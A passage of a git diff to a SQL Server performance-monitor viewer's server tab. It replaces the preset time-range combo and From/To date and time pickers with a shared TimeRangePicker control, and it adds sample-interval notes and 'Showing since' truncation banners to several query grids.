-    /// Health log). A custom range collapses to its rounded-up span so those surfaces still track it.</summary>
+    /// <summary>True when the window ends in the past (a fixed range, or a calendar period that has finished), so a read
+    /// that is start-only server-side must bound its end itself (the CPU chart). A window that slides with now is not.</summary>
+    private bool IsCustomRange => !ViewerTimeRangeWindow.Window(RangePicker.Value, DateTime.UtcNow, TabDisplayZone).IsLive;
+
+    /// <summary>Hours-back for the reads that take an integer window: the window's span rounded up to whole hours, at
+    /// least one (<see cref="ViewerTimeRangeWindow.HoursBack"/>).</summary>
     private int GetWindowHoursBack()
     {
-        if (IsCustomRange)
-        {
-            var (fromUtc, toUtc) = GetCustomRangeUtc();
-            if (fromUtc.HasValue && toUtc.HasValue)
-            {
-                var hours = (int)Math.Ceiling((toUtc.Value - fromUtc.Value).TotalHours);
-                return hours < 1 ? 1 : hours;
-            }
-        }
-
-        return TimeRangeIndexToHours(TimeRangeCombo.SelectedIndex);
+        var (startUtc, endUtc) = GetWindowUtc();
+        return ViewerTimeRangeWindow.HoursBack(startUtc, endUtc);
     }
 
-    /// <summary>Custom From/To as naive-UTC bounds for the Overview lanes (null,null when not a valid
-    /// custom range — the lanes then fall back to their hours-back window).</summary>
+    /// <summary>The window's two bounds for the Overview lanes, ALWAYS as the explicit pair: the lanes then plot exactly the
+    /// window (a 15-minute or a calendar-period window is not rounded to whole hours back from now).</summary>
     private (DateTime? fromUtc, DateTime? toUtc) GetOverviewCustomRange()
-        => IsCustomRange ? GetCustomRangeUtc() : (null, null);
-
-    /// <summary>The held custom range as naive-UTC bounds, or (null,null) while a preset is selected. The pickers
-    /// are not parsed here: they are a drawing of these two instants, and a typed edit already changed the held
-    /// side (<see cref="ApplyPickerEdit"/>), so a window that crosses a daylight saving change keeps the instants
-    /// it names (#4766).</summary>
-    private (DateTime? fromUtc, DateTime? toUtc) GetCustomRangeUtc()
-        => _customRange.IsCustom ? (_customRange.FromUtc, _customRange.ToUtc) : (null, null);
-
-    /// <summary>Draws the held range on the From/To pickers as the wall clock of <paramref name="zone"/> (the hour
-    /// and 15-minute combos as always). Nothing is drawn while a preset is selected. Runs under
-    /// <see cref="_suppressRangeEvents"/> so the drawing is not read back as an edit, and leaves the flag as the
-    /// caller had it.</summary>
-    private void RenderCustomRange(TimeZoneInfo zone)
     {
-        if (FromDatePicker is null || _customRange.Render(zone) is not { } wall)
-        {
-            return;
-        }
-
-        var wasSuppressed = _suppressRangeEvents;
-        _suppressRangeEvents = true;
-        try
-        {
-            FromDatePicker.SelectedDate = wall.From.Date;
-            FromHourCombo.SelectedIndex = wall.From.Hour;
-            FromMinuteCombo.SelectedIndex = wall.From.Minute / 15;
-            ToDatePicker.SelectedDate = wall.To.Date;
-            ToHourCombo.SelectedIndex = wall.To.Hour;
-            ToMinuteCombo.SelectedIndex = wall.To.Minute / 15;
-        }
-        finally
-        {
-            _suppressRangeEvents = wasSuppressed;
-        }
+        var (startUtc, endUtc) = GetWindowUtc();
+        return (startUtc, endUtc);
     }
 
-    /// <summary>Holds what the two pickers currently read as the custom range: each typed value is a wall clock in
-    /// <paramref name="zone"/>, and FROM takes the earliest instant that reads at or after it and TO the latest at
-    /// or before it (<see cref="DisplayZone.ToUtcBound"/>). Returns false, holding nothing, when a date is unset.</summary>
-    private bool HoldPickersAsRange(TimeZoneInfo zone)
-    {
-        var from = GetDateTimeFromPickers(FromDatePicker!, FromHourCombo, FromMinuteCombo);
-        var to = GetDateTimeFromPickers(ToDatePicker!, ToHourCombo, ToMinuteCombo);
-        if (!from.HasValue || !to.HasValue)
-        {
-            return false;
-        }
+    private static readonly TimeSpan ScheduleOverridesMaxAge = TimeSpan.FromMinutes(5);
 
-        _customRange.Set(
-            DisplayZone.ToUtcBound(from.Value, zone, BoundSide.From),
-            DisplayZone.ToUtcBound(to.Value, zone, BoundSide.To));
-        return true;
-    }
+    private IReadOnlyList<CollectorScheduleRow>? _scheduleOverrides;
 
-    /// <summary>A user edit of one picker (its date, hour or minute): reads that side's typed wall clock back as an
-    /// instant in this tab's zone (<see cref="CustomRangeState.ApplyEdit"/>) and draws both pickers from the held
-    /// range again, so a time that never happened shows the change instant and the other side is untouched. With no
-    /// range held yet, both pickers are held together.</summary>
-    private void ApplyPickerEdit(object? sender)
-    {
-        var zone = TabDisplayZone;
-        var fromSide = ReferenceEquals(sender, FromDatePicker)
-            || ReferenceEquals(sender, FromHourCombo)
-            || ReferenceEquals(sender, FromMinuteCombo);
-        var side = fromSide ? BoundSide.From : BoundSide.To;
-        var wall = fromSide
-            ? GetDateTimeFromPickers(FromDatePicker!, FromHourCombo, FromMinuteCombo)
-            : GetDateTimeFromPickers(ToDatePicker!, ToHourCombo, ToMinuteCombo);
-
-        if (_customRange.IsCustom && wall.HasValue)
-        {
-            _customRange.ApplyEdit(wall.Value, side, zone);
-        }
-        else if (!HoldPickersAsRange(zone))
-        {
-            return;
-        }
+    private string? _noteCollector;
 
-        RenderCustomRange(zone);
-    }
+    private DateTime _scheduleOverridesReadUtc;
 
-    private static DateTime? GetDateTimeFromPickers(DatePicker datePicker, ComboBox hourCombo, ComboBox minuteCombo)
+    /// <summary>Redraws the picker's resolved text from the clock, the zone and the notes. Run when the display zone moved
+    /// and on every refresh, so a range that slides with now shows the window it is reading.</summary>
+    private void RefreshRangePicker() => RangePicker.Refresh();
+
+    /// <summary>The main collector of the page on screen: the inner tab's header and, when that tab holds a sub-tab control, the
+    /// selected sub-tab's (<see cref="ViewerTimeRangeWindow.MainCollectorFor(string?, string?)"/>). Never widens the range.</summary>
+    private string? CurrentMainCollector()
     {
-        if (datePicker?.SelectedDate is not { } date)
+        if (InnerTabs?.SelectedItem is not TabItem top)
         {
             return null;
         }
 
-        int hour = hourCombo.SelectedIndex >= 0 ? hourCombo.SelectedIndex : 0;
-        int minute = minuteCombo.SelectedIndex >= 0 ? minuteCombo.SelectedIndex * 15 : 0;
-        return date.Date.AddHours(hour).AddMinutes(minute);
-    }
+        string? sub = null;
+        if (top.Content is DependencyObject content && FindFirstTabControl(content) is { SelectedItem: TabItem selected })
+        {
+            sub = selected.Header as string;
+        }
 
-    // ── Toolbar handlers ─────────────────────────────────────────────────────────────
+        return ViewerTimeRangeWindow.MainCollectorFor(top.Header as string, sub);
+    }
 
-    private async void TimeRangeCombo_SelectionChanged(object sender, SelectionChangedEventArgs e)
+    private static TabControl? FindFirstTabControl(DependencyObject parent)
     {
-        if (!IsLoaded || _suppressRangeEvents)
+        foreach (var child in LogicalTreeHelper.GetChildren(parent))
         {
-            return;
+            if (child is TabControl tabs)
+            {
+                return tabs;
+            }
+
+            if (child is DependencyObject next && FindFirstTabControl(next) is { } found)
+            {
+                return found;
+            }
         }
 
-        var isCustom = TimeRangeCombo.SelectedIndex == CustomRangeIndex;
-        var visibility = isCustom ? Visibility.Visible : Visibility.Collapsed;
+        return null;
+    }
 
-        if (FromDatePicker != null)
+    /// <summary>
+    /// Sets the picker's "collected every N minutes" note (#5562 R3) from the main collector of the inner tab on screen and
+    /// that collector's ACTUAL interval on this server (the schedule overrides, else the shipped default). A read that
+    /// fails leaves the shipped default; a tab with no main collector shows no note.
+    /// </summary>
+    private async Task UpdateSampleIntervalAsync()
+    {
+        try
         {
-            FromDatePicker.Visibility = visibility;
-            FromHourCombo.Visibility = visibility;
-            FromMinuteCombo.Visibility = visibility;
-            ToLabel.Visibility = visibility;
-            ToDatePicker.Visibility = visibility;
-            ToHourCombo.Visibility = visibility;
-            ToMinuteCombo.Visibility = visibility;
+            var collector = CurrentMainCollector();
+            if (!string.Equals(collector, _noteCollector, StringComparison.Ordinal))
+            {
+                /* A different top-level tab: the data-start note belonged to the last tab's surface, so it clears here and
+                   the new tab's own probe sets it again. */
+                _noteCollector = collector;
+                RecordDataStart(null);
+            }
 
-            if (isCustom)
+            IReadOnlyList<CollectorScheduleRow>? overrides = null;
+            if (collector is not null)
             {
-                /* Hold what the pickers read as the range, in this tab's zone (#4766). With no date yet, seed a
-                   sensible default first so switching to Custom shows a real window; the picker changes below
-                   drive the reload. Suppress so the picker writes coalesce into one load. */
-                _suppressRangeEvents = true;
                 try
                 {
-                    if (FromDatePicker.SelectedDate == null)
+                    /* The schedule table is small but the refresh runs every 30 seconds to 5 minutes per tab, so the rows are
+                       read at most every five minutes. */
+                    if (_scheduleOverrides is null || DateTime.UtcNow - _scheduleOverridesReadUtc > ScheduleOverridesMaxAge)
                     {
-                        FromDatePicker.SelectedDate = DateTime.Today.AddDays(-1);
-                        ToDatePicker.SelectedDate = DateTime.Today;
+                        _scheduleOverrides = await _dataService.GetCollectorSchedulesAsync();
+                        _scheduleOverridesReadUtc = DateTime.UtcNow;
                     }
 
-                    var zone = TabDisplayZone;
-                    if (HoldPickersAsRange(zone))
-                    {
-                        RenderCustomRange(zone);
-                    }
+                    overrides = _scheduleOverrides;
                 }
-                finally
+                catch (Exception ex)
                 {
-                    _suppressRangeEvents = false;
+                    ViewerLogger.Warn("ViewerServerTab", $"time range note: could not read the collector schedule, using the shipped cadence | {ex.GetType().Name}: {ex.Message}");
                 }
             }
 
-            if (!isCustom)
-            {
-                /* #2154: a DatePicker's calendar dropdown is a POPUP, which lives outside the visual
-                   tree's visibility — collapsing the picker does not close an already-open dropdown,
-                   so backing out of Custom Range without picking a date left an orphaned floating
-                   calendar on screen. Close them explicitly alongside the collapse (Lite twin fix). */
-                FromDatePicker.IsDropDownOpen = false;
-                ToDatePicker.IsDropDownOpen = false;
-            }
+            RangePicker.SampleInterval = ViewerTimeRangeWindow.SampleIntervalFor(collector, _server.ServerId, overrides);
         }
-
-        if (!isCustom)
+        catch (Exception ex)
         {
-            /* A preset is in force: no range is held (#4766). Choosing Custom again holds whatever the pickers
-               read, so nothing here keeps the old instants alive under the preset. */
-            _customRange.Clear();
-        }
-
-        /* Presets reload here; a custom range reloads off the picker changes (below), except the seeded
-           default above which is suppressed — so drive that one reload explicitly. */
-        if (!isCustom || FromDatePicker?.SelectedDate != null)
-        {
-            await RefreshActiveInnerTabAsync();
+            ViewerLogger.Warn("ViewerServerTab", $"time range note failed | {ex.GetType().Name}: {ex.Message}");
         }
     }
 
-    private async void CustomDateRange_Changed(object sender, SelectionChangedEventArgs e)
-    {
-        if (!IsLoaded || _suppressRangeEvents)
-        {
-            return;
-        }
-
-        if (FromDatePicker?.SelectedDate != null && ToDatePicker?.SelectedDate != null)
-        {
-            ApplyPickerEdit(sender);
-            await RefreshActiveInnerTabAsync();
-        }
-    }
-
-    private async void CustomTimeCombo_Changed(object sender, SelectionChangedEventArgs e)
+    /// <summary>
+    /// Sets the picker's "Data starts ..." note from a data-start probe a surface already awaited (#5562, the desktop twin
+    /// of the web's retention note): the same <c>floor</c> the surface's "Showing since" banner reads. No query of its own.
+    /// Every banner site reaches it through <see cref="UpdateTruncationBanner"/> and <see cref="ViewerDataStartNote.Feed"/>
+    /// (#5562 R7), for the tab on screen. A null floor (the probe found nothing, or failed) clears the note.
+    /// </summary>
+    internal void RecordDataStart(DateTime? floor)
     {
-        if (!IsLoaded || _suppressRangeEvents)
+        if (RangePicker.DataStartUtc != floor)
         {
-            return;
-        }
-
-        if (FromDatePicker?.SelectedDate != null && ToDatePicker?.SelectedDate != null)
-        {
-            ApplyPickerEdit(sender);
-            await RefreshActiveInnerTabAsync();
+            RangePicker.DataStartUtc = floor;
         }
     }
 
@@ -435,19 +319,12 @@ private void UpdateAutoRefreshInterval()
         };
     }
 
+
     private void ApplyTimeRangeToAll_Click(object sender, RoutedEventArgs e)
     {
-        /* The held instants go out, not the pickers' wall clock: every other tab draws them in its own server's
-           zone, so all of them window on the same period (#4766). */
-        DateTime? fromUtc = null;
-        DateTime? toUtc = null;
-        if (TimeRangeCombo.SelectedIndex == CustomRangeIndex && _customRange.IsCustom)
-        {
-            fromUtc = _customRange.FromUtc;
-            toUtc = _customRange.ToUtc;
-        }
-
-        ApplyTimeRangeRequested?.Invoke(this, TimeRangeCombo.SelectedIndex, fromUtc, toUtc);
+        /* A calendar period goes as the instants it names in THIS tab's zone, a fixed range as its held instants: every
+           other tab draws them in its own server's zone, so all of them window on the same period (#4766, #5562). */
+        ApplyTimeRangeRequested?.Invoke(this, TimeRangePresets.ForBroadcast(RangePicker.Value, DateTime.UtcNow, TabDisplayZone));
     }
 
     // ── Time-display mode (Server / Local / UTC) ─────────────────────────────────────
@@ -483,10 +360,10 @@ internal async Task RefreshServerClockAsync()
                degrades gracefully to ~Local until server_properties.utc_offset_minutes is populated. */
         }
 
-        /* The pickers are a drawing of the held instants in this tab's zone, and the clock is what may just have
-           changed it (the first read after a range was applied from another tab, or a server that moved zone), so
-           draw them again. Nothing is drawn while a preset is selected (#4766). */
-        RenderCustomRange(TabDisplayZone);
+        /* The picker draws the held range in this tab's zone, and the clock is what may just have changed it (the
+           first read after a range was applied from another tab, or a server that moved zone), so draw it again. A
+           range that slides with now is redrawn from the clock too (#4766, #5562). */
+        RefreshRangePicker();
     }
 
     /// <summary>Pushes this tab's server clock onto the process-wide helper. Called before every render so
@@ -528,7 +405,7 @@ a cascade. */
         try
         {
             ViewerTimeHelper.CurrentDisplayMode = mode;
-            RenderCustomRange(ViewerTimeHelper.DisplayZoneFor(mode, _serverClock));
+            RefreshRangePicker();
         }
         finally
         {
@@ -566,8 +443,9 @@ public void SetDisplayModeSelection(TimeDisplayMode mode)
             }
 
             /* The mode is process-wide, so a range this tab holds is drawn in the new mode's zone here too,
-               not left showing the old mode's text until the tab reloads (#4766). */
-            RenderCustomRange(ViewerTimeHelper.DisplayZoneFor(mode, _serverClock));
+               not left showing the old mode's text until the tab reloads (#4766). The picker reads the zone from
+               ViewerTimeHelper.CurrentDisplayMode, which the caller has already set to this mode. */
+            RefreshRangePicker();
         }
         finally
         {
@@ -576,43 +454,20 @@ public void SetDisplayModeSelection(TimeDisplayMode mode)
     }
 
     /// <summary>
-    /// Applies a range chosen on another server tab (the "Apply to All" broadcast). The range arrives as
-    /// naive-UTC instants: this tab holds them and draws them in ITS zone, so every tab windows on the same period
-    /// whatever its server's clock (#4766). Sets the pickers and combo under the suppress guard so the copy
-    /// doesn't cascade multiple reloads, then, when this is the visible tab, drives exactly one reload of its
-    /// active inner tab. A hidden tab holds the range and reloads when it is selected, so it never puts its own
-    /// server's clock on the shared <see cref="ViewerTimeHelper"/> while another tab is on screen.
+    /// Applies a range chosen on another server tab (the "Apply to All" broadcast). The range arrives as a spec whose
+    /// instants are already fixed where they must be (<see cref="TimeRangePresets.ForBroadcast"/>): this tab holds
+    /// it and draws it in ITS zone, so every tab windows on the same period whatever its server's clock (#4766). Sets
+    /// the picker under the suppress guard so the copy doesn't cascade multiple reloads, then, when this is the
+    /// visible tab, drives exactly one reload of its active inner tab. A hidden tab holds the range and reloads when it
+    /// is selected, so it never puts its own server's clock on the shared <see cref="ViewerTimeHelper"/> while another
+    /// tab is on screen.
     /// </summary>
-    public void ApplyExternalTimeRange(int index, DateTime? customFromUtc, DateTime? customToUtc)
+    public void ApplyExternalTimeRange(TimeRangeSpec range)
     {
         _suppressRangeEvents = true;
         try
         {
-            var isCustom = index == CustomRangeIndex && customFromUtc.HasValue && customToUtc.HasValue;
-            var visibility = isCustom ? Visibility.Visible : Visibility.Collapsed;
-
-            if (FromDatePicker != null)
-            {
-                FromDatePicker.Visibility = visibility;
-                FromHourCombo.Visibility = visibility;
-                FromMinuteCombo.Visibility = visibility;
-                ToLabel.Visibility = visibility;
-                ToDatePicker.Visibility = visibility;
-                ToHourCombo.Visibility = visibility;
-                ToMinuteCombo.Visibility = visibility;
-            }
-
-            if (isCustom)
-            {
-                _customRange.Set(customFromUtc!.Value, customToUtc!.Value);
-                RenderCustomRange(TabDisplayZone);
-            }
-            else
-            {
-                _customRange.Clear();
-            }
-
-            TimeRangeCombo.SelectedIndex = index;
+            RangePicker.Value = range;
         }
         finally
         {
@@ -632,106 +487,21 @@ is selected (MainWindow's tab switch), and shows the range it now holds then. Sa
 
     /// <summary>
     /// Scopes the toolbar to an explicit naive-UTC <c>[from, to)</c> window — the Performance Calendar day
-    /// drill's "set the time window to that day" step. Selects "Custom Range", reveals the pickers, holds the
-    /// bounds and draws them in the active display mode's zone (<see cref="CustomRangeState.Render"/>), so
-    /// <see cref="GetWindowUtc"/> returns exactly the window given. Runs under <see cref="_suppressRangeEvents"/>
-    /// so it drives no reload of its own — the caller (the day drill) loads the target inner tab itself. Mirrors
-    /// <see cref="ApplyExternalTimeRange"/>'s picker manipulation, without the reload.
+    /// drill's "set the time window to that day" step. Holds the bounds as a fixed range and draws them in the active
+    /// display mode's zone, so <see cref="GetWindowUtc"/> returns exactly the window given. Runs under
+    /// <see cref="_suppressRangeEvents"/> so it drives no reload of its own — the caller (the day drill) loads the target
+    /// inner tab itself. Mirrors <see cref="ApplyExternalTimeRange"/>, without the reload.
     /// </summary>
     internal void SetToolbarWindowUtc(DateTime fromUtc, DateTime toUtc)
     {
-        _customRange.Set(fromUtc, toUtc);
-
         _suppressRangeEvents = true;
         try
         {
-            if (FromDatePicker != null)
-            {
-                FromDatePicker.Visibility = Visibility.Visible;
-                FromHourCombo.Visibility = Visibility.Visible;
-                FromMinuteCombo.Visibility = Visibility.Visible;
-                ToLabel.Visibility = Visibility.Visible;
-                ToDatePicker.Visibility = Visibility.Visible;
-                ToHourCombo.Visibility = Visibility.Visible;
-                ToMinuteCombo.Visibility = Visibility.Visible;
-            }
-
-            RenderCustomRange(TabDisplayZone);
-            TimeRangeCombo.SelectedIndex = CustomRangeIndex;
+            RangePicker.Value = TimeRangeSpec.FixedRange(fromUtc, toUtc);
         }
         finally
         {
             _suppressRangeEvents = false;
         }
     }
-
-    // ── Custom-range DatePicker calendar theming (viewer is fixed Dark) ───────────────
-
-    private void DatePicker_CalendarOpened(object sender, RoutedEventArgs e)
-    {
-        if (sender is not DatePicker datePicker)
-        {
-            return;
-        }
-
-        /* Defer so the popup's visual tree exists before we re-color it. */
-        Dispatcher.BeginInvoke(new Action(() =>
-        {
-            if (datePicker.Template.FindName("PART_Popup", datePicker) is Popup { Child: Calendar calendar })
-            {
-                ApplyDarkThemeToCalendar(calendar);
-            }
-        }));
-    }
-
-    private static void ApplyDarkThemeToCalendar(Calendar calendar)
-    {
-        var primaryBg = new SolidColorBrush((Color)ColorConverter.ConvertFromString("#111217")!);
-        var fg = new SolidColorBrush((Color)ColorConverter.ConvertFromString("#E4E6EB")!);
-        var borderBrush = new SolidColorBrush((Color)ColorConverter.ConvertFromString("#2a2d35")!);
-
-        calendar.Background = primaryBg;
-        calendar.Foreground = fg;
-        calendar.BorderBrush = borderBrush;
-        ApplyDarkThemeRecursively(calendar, primaryBg, fg);
-    }
-
-    private static void ApplyDarkThemeRecursively(DependencyObject parent, Brush primaryBg, Brush fg)
-    {
-        for (int i = 0; i < VisualTreeHelper.GetChildrenCount(parent); i++)
-        {
-            var child = VisualTreeHelper.GetChild(parent, i);
-
-            switch (child)
-            {
-                case CalendarItem calendarItem:
-                    calendarItem.Background = primaryBg;
-                    calendarItem.Foreground = fg;
-                    break;
-                case CalendarDayButton dayButton:
-                    dayButton.Background = Brushes.Transparent;
-                    dayButton.Foreground = fg;
-                    break;
-                case CalendarButton calButton:
-                    calButton.Background = Brushes.Transparent;
-                    calButton.Foreground = fg;
-                    break;
-                case Button button:
-                    button.Background = Brushes.Transparent;
-                    button.Foreground = fg;
-                    break;
-                case TextBlock textBlock:
-                    textBlock.Foreground = fg;
-                    break;
-                case Border { Background: SolidColorBrush bg } border when bg.Color is { R: > 200, G: > 200, B: > 200 }:
-                    border.Background = primaryBg;
-                    break;
-                case Grid { Background: SolidColorBrush gridBg } grid when gridBg.Color is { R: > 200, G: > 200, B: > 200 }:
-                    grid.Background = primaryBg;
-                    break;
-            }
-
-            ApplyDarkThemeRecursively(child, primaryBg, fg);
-        }
-    }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml
index 77db4508a5..b17fdd4df1 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml
@@ -490,35 +490,16 @@
                         </Grid>
                     </Border>
                 </Popup>
-                <ComboBox x:Name="TimeRangeCombo" SelectedIndex="3" Width="120" Margin="0,0,8,4"
-                          SelectionChanged="TimeRangeCombo_SelectionChanged"
-                          ToolTip="Time window every inner tab reads">
-                    <ComboBoxItem Content="Last 1 hour"/>
-                    <ComboBoxItem Content="Last 4 hours"/>
-                    <ComboBoxItem Content="Last 12 hours"/>
-                    <ComboBoxItem Content="Last 24 hours"/>
-                    <ComboBoxItem Content="Last 7 days"/>
-                    <ComboBoxItem Content="Custom Range"/>
-                </ComboBox>
-                <DatePicker x:Name="FromDatePicker" Width="120" Margin="0,0,2,4" Visibility="Collapsed"
-                            SelectedDateChanged="CustomDateRange_Changed" CalendarOpened="DatePicker_CalendarOpened"/>
-                <ComboBox x:Name="FromHourCombo" Width="70" Margin="0,0,2,4" Visibility="Collapsed"
-                          SelectionChanged="CustomTimeCombo_Changed" ToolTip="Hour"/>
-                <ComboBox x:Name="FromMinuteCombo" Width="60" Margin="0,0,2,4" Visibility="Collapsed"
-                          SelectionChanged="CustomTimeCombo_Changed" ToolTip="Minute"/>
-                <TextBlock x:Name="ToLabel" Text="to" VerticalAlignment="Center" Margin="4,0,4,0" Visibility="Collapsed"
-                           Foreground="{DynamicResource ForegroundBrush}"/>
-                <DatePicker x:Name="ToDatePicker" Width="120" Margin="0,0,2,4" Visibility="Collapsed"
-                            SelectedDateChanged="CustomDateRange_Changed" CalendarOpened="DatePicker_CalendarOpened"/>
-                <ComboBox x:Name="ToHourCombo" Width="70" Margin="0,0,2,4" Visibility="Collapsed"
-                          SelectionChanged="CustomTimeCombo_Changed" ToolTip="Hour"/>
-                <ComboBox x:Name="ToMinuteCombo" Width="60" Margin="0,0,8,4" Visibility="Collapsed"
-                          SelectionChanged="CustomTimeCombo_Changed" ToolTip="Minute"/>
+                <!-- #5562: the shared time range picker (presets from 5 minutes, calendar periods, typed or calendar-picked
+                     ranges) replaces the preset combo and the From/To date, hour and minute pickers. -->
+                <ui:TimeRangePicker x:Name="RangePicker" AutomationProperties.Name="Time range" Margin="0,0,8,4" VerticalAlignment="Top"
+                                    RangeChanged="RangePicker_RangeChanged"
+                                    ToolTip="Time window every inner tab reads"/>
                 <Button Content="Apply to All" Click="ApplyTimeRangeToAll_Click" Padding="8,4" Margin="0,0,8,4"
                         ToolTip="Apply this time range to all open server tabs"/>
                 <TextBlock Text="Compare:" VerticalAlignment="Center" Margin="0,0,4,0"
                            Foreground="{DynamicResource ForegroundBrush}"/>
-                <ComboBox x:Name="CompareToCombo" SelectedIndex="0" Width="150" Margin="0,0,8,4"
+                <ComboBox x:Name="CompareToCombo" AutomationProperties.Name="Compare to" ToolTipService.ShowOnDisabled="True" SelectedIndex="0" Width="150" Margin="0,0,8,4"
                           SelectionChanged="CompareToCombo_SelectionChanged"
                           ToolTip="Compare the current window against a baseline period">
                     <ComboBoxItem Content="None"/>
@@ -532,7 +513,7 @@
                 <CheckBox x:Name="AutoRefreshCheckBox" Content="_Auto-refresh" VerticalAlignment="Center"
                           Margin="0,0,4,4" Foreground="{DynamicResource ForegroundBrush}"
                           IsChecked="True" Checked="AutoRefreshCheckBox_Changed" Unchecked="AutoRefreshCheckBox_Changed"/>
-                <ComboBox x:Name="AutoRefreshIntervalCombo" SelectedIndex="1" Width="70" Margin="0,0,0,4"
+                <ComboBox x:Name="AutoRefreshIntervalCombo" AutomationProperties.Name="Auto-refresh interval" SelectedIndex="1" Width="70" Margin="0,0,0,4"
                           SelectionChanged="AutoRefreshInterval_Changed"
                           ToolTip="Auto-refresh interval">
                     <ComboBoxItem Content="30s"/>
@@ -542,7 +523,7 @@
                 <Separator Style="{StaticResource {x:Static ToolBar.SeparatorStyleKey}}" Margin="8,2"/>
                 <TextBlock Text="Times:" VerticalAlignment="Center" Margin="0,0,4,0"
                            Foreground="{DynamicResource ForegroundBrush}"/>
-                <ComboBox x:Name="TimeDisplayModeBox" Width="120" Margin="0,0,0,4"
+                <ComboBox x:Name="TimeDisplayModeBox" AutomationProperties.Name="Time display" Width="120" Margin="0,0,0,4"
                           SelectionChanged="TimeDisplayMode_SelectionChanged"
                           ToolTip="How timestamps are displayed">
                     <ComboBoxItem Content="Server Time" Tag="ServerTime"/>
@@ -688,12 +669,19 @@
                     <TabItem Header="Active Queries">
                         <Grid>
                             <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
                             </Grid.RowDefinitions>
                             <local:TimeRangeSlicerControl x:Name="ActiveQueriesSlicer" Grid.Row="0"/>
-                            <StackPanel Grid.Row="1" Orientation="Horizontal" Margin="0,0,0,8">
+                            <!-- "Showing since <start>" when this server's query_snapshots rows start after the range
+                                 does (DataWindowFloor via LoadActiveQueriesAsync). -->
+                            <TextBlock Grid.Row="1" x:Name="QuerySnapshotsTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <StackPanel Grid.Row="2" Orientation="Horizontal" Margin="0,0,0,8">
                                 <TextBlock Text="Currently Running Queries" Style="{StaticResource SectionHeader}" VerticalAlignment="Center" Margin="0"/>
                                 <Button x:Name="LatestSnapshotButton" Content="Latest Snapshot"
                                         Click="LatestSnapshot_Click" Padding="12,4" Margin="16,0,8,0"
@@ -701,7 +689,7 @@
                                 <TextBlock x:Name="LatestSnapshotIndicator" Text="" FontSize="12"
                                            Foreground="DarkGoldenrod" FontWeight="SemiBold" VerticalAlignment="Center"/>
                             </StackPanel>
-                            <DataGrid Grid.Row="2" x:Name="QuerySnapshotsGrid" Style="{StaticResource DarkGrid}"
+                            <DataGrid Grid.Row="3" x:Name="QuerySnapshotsGrid" Style="{StaticResource DarkGrid}"
                                       RowStyle="{StaticResource QuerySnapshotGridRowStyle}"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto"
                                       Sorting="QuerySnapshotsGrid_Sorting">
@@ -1711,13 +1699,20 @@
                     <TabItem Header="Query Store Regressions">
                         <Grid>
                             <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
                             </Grid.RowDefinitions>
                             <TextBlock Grid.Row="0" Margin="8,4,0,4" FontSize="11"
                                        Foreground="{DynamicResource ForegroundMutedBrush}"
                                        Text="Queries whose Query Store performance regressed — recent-window averages vs. the baseline captured before the window, kept when CPU regressed more than 25%, ranked by total added duration. Double-click a row for its execution history."/>
-                            <DataGrid Grid.Row="1" x:Name="QueryStoreRegressionsGrid" Style="{StaticResource DarkGrid}"
+                            <!-- "Showing since <start>" when this server's Query Store history starts after the BASELINE window does: the read
+                                 compares the range with the 7 days before it, so the notice keys on that earlier window (#4966). -->
+                            <TextBlock Grid.Row="1" x:Name="QueryStoreRegressionsTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <DataGrid Grid.Row="2" x:Name="QueryStoreRegressionsGrid" Style="{StaticResource DarkGrid}"
                                       RowStyle="{StaticResource QueryStorePlanGridRowStyle}"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
                                 <DataGrid.Columns>
@@ -1800,6 +1795,7 @@
                     <TabItem Header="Query Store Clutter">
                         <Grid>
                             <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="Auto"/>
                                 <RowDefinition Height="*"/>
@@ -1816,12 +1812,20 @@
                             <TextBlock Grid.Row="1" x:Name="QueryStoreClutterServerNote" Visibility="Collapsed"
                                        Margin="8,0,8,4" FontSize="11" TextWrapping="Wrap"
                                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                            <!-- "Showing since <start>" when this server's Query Store history starts after the range does: the
+                                 plan churn is an aggregate over the window from query_store_stats, and the read cost one from the
+                                 query_store collector's runs in the collection log, so the note names the later of the two starts
+                                 and a range that reaches before it would read as a verdict over the whole of it (#4966, #5022). -->
+                            <TextBlock Grid.Row="2" x:Name="QueryStoreClutterTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
                             <!-- The measured columns bind NUMBERS with StringFormat and TargetNullValue rather than
                                  pre-formatted text: this grid exists to rank, so a column must sort by magnitude, and a
                                  string column would sort 9 above 1,234 while looking like a working sort. The em-dash
                                  comes from TargetNullValue, so an unmeasured arm reads like every other absent cell in
                                  the Viewer without becoming a zero. -->
-                            <DataGrid Grid.Row="2" x:Name="QueryStoreClutterGrid" Style="{StaticResource DarkGrid}"
+                            <DataGrid Grid.Row="3" x:Name="QueryStoreClutterGrid" Style="{StaticResource DarkGrid}"
                                       SelectionChanged="QueryStoreClutterGrid_SelectionChanged"
                                       HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
                                 <DataGrid.Columns>
@@ -1867,14 +1871,14 @@
                             <!-- The row's recommendation, whole. It is a paragraph per reason, so it gets its own
                                  pane rather than a column nobody can read; the text is the composition's, never
                                  re-worded here, so this pane and the MCP payload say the same thing. -->
-                            <TextBlock Grid.Row="3" x:Name="QueryStoreClutterRecommendation" Margin="8,6,8,6"
